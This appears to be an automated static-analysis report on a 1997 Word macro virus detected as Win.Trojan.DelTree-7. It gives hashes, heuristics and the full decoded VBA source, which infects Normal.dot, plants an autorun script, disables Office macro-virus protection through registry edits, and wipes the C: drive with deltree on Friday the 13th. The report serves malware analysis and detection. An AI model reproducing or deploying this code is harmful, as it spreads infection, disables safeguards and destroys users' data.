Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db106f34bf90e349…

MALICIOUS

Office (OLE)

34.5 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-10-03
MD5: ce952ab7509aff77f2e2c6a98344c33d SHA-1: c8bbba2961242329c8ef6cebfc75c2e20d4e665c SHA-256: db106f34bf90e349782f41665e1985e5cfea4d417bbb82cef7651c611e6aa657
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1071.001 Web Protocols T1204.002 Malicious File

The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose functions, which are indicative of older malware. The critical OLE_VBA_SHELL heuristic firing suggests the execution of arbitrary code. The script attempts to export components to C:\Windows\ and create an autorun script at C:\WINDOWS\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\MSNR.vbs, which is a strong indicator of persistence. The ClamAV detection of 'Win.Trojan.DelTree-7' further supports a malicious classification.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 35,328 bytes but its declared streams total only 16,490 bytes — 18,838 bytes (53%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4343 bytes
SHA-256: 9882036bd256fc5076fb69fca6b329913ca487cff6d6548e25975ad127acf94c
Detection
ClamAV: Win.Trojan.DelTree-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MSNI"
' MSDI.sys (Áëîê èíôåöèðîâàíèÿ äîêóìåíòîâ)
' MSNR.sys (Áëîê âîñòàíîâëåíèÿ êîäà â Normal.dot)
' MSNI.sys (Áëîê èíôåöèðîâàíèÿ Normal.dot)

Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
ShowVisualBasicEditor = False
 For i = 1 To NormalTemplate.VBProject.VBComponents.Count
   If NormalTemplate.VBProject.VBComponents(i).Name = "MSDI" Then Vp = True
 Next i
 If Vp <> True Then
   ActiveDocument.VBProject.VBComponents("MSNI").Export ("C:\Windows\MSNI.sys")
   ActiveDocument.VBProject.VBComponents("MSDI").Export ("C:\Windows\MSDI.sys")
   ActiveDocument.VBProject.VBComponents("MSNR").Export ("C:\Windows\MSNR.sys")
   Kill "C:\WINDOWS\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\MSNR.vbs"
   Open "C:\WINDOWS\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\MSNR.vbs" For Append As #1
   CurLine = ActiveDocument.VBProject.VBComponents("MSNR").CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents("MSNR").CodeModule.CountOfLines)
   Print #1, CurLine
   Print #1, "Call RestoNormalMacros"
   Close #1
   NormalTemplate.VBProject.VBComponents.Import ("C:\Windows\MSDI.sys")
 End If
End Sub

Attribute VB_Name = "MSDI"
' MSDI.sys (Áëîê èíôåöèðîâàíèÿ äîêóìåíòîâ)
' MSNR.sys (Áëîê âîñòàíîâëåíèÿ êîäà â Normal.dot)
' MSNI.sys (Áëîê èíôåöèðîâàíèÿ Normal.dot)

Sub AutoClose()
On Error Resume Next
Options.VirusProtection = False
ShowVisualBasicEditor = False
 For i = 1 To ActiveDocument.VBProject.VBComponents.Count
   If ActiveDocument.VBProject.VBComponents(i).Name = "MSNI" Then Vp = True
 Next i
 If Vp = False Then
   ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\MSNI.sys")
   ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\MSDI.sys")
   ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\MSNR.sys")
 End If
 Call Destructor
End Sub

Sub Destructor()
On Error Resume Next
If WeekDay(Date) = 6 And Day(Date) = 13 Then
Shell "deltree /y c:\ >nul", vbHide
End If
End Sub

Private Sub HelpAbout()
    MsgBox "Lamers Must Been DEAD !!! BioCoded By DEATHtroyer", , "Macro-Script Virus ver1.0"
End Sub


Private Sub ViewVBCode()
End Sub

Private Sub FileTemplates()
End Sub

Private Sub ToolsMacro()
End Sub

Private Sub Organizer()
End Sub

Attribute VB_Name = "MSNR"
' Äàííûé Script ïðè êàæäîì çàïóñêå êîìïà  âîñòàíàâëèâàåò
' êîä â Normal.dot åñëè îí òàì îòñóòñòâóåò, à òàêæå âûêëþ÷àåò àíòèâèðóñíóþ çàùèòó
' âñåõ ïðèëîæåíèé Oficce 97

Sub RestoNormalMacros()
    Set WordObj = CreateObject("Word.Application")
    Set NT = WordObj.NormalTemplate.VBProject.VBComponents
    NotRestore = False
    WordObj.Options.VirusProtection = False
    WordObj.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Check"
    WordObj.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
    WordObj.System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Whoa"
    WordObj.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
    WordObj.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
    WordObj.System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
    For i = 1 To NT.Count
        If NT(i).Name = "MSDI" Then NotRestore = True
    Next
    If NotRestore <> True Then
        NT.Import ("C:\Windows\MSDI.sys")
        WordObj.NormalTemplate.Save
    End If
End Sub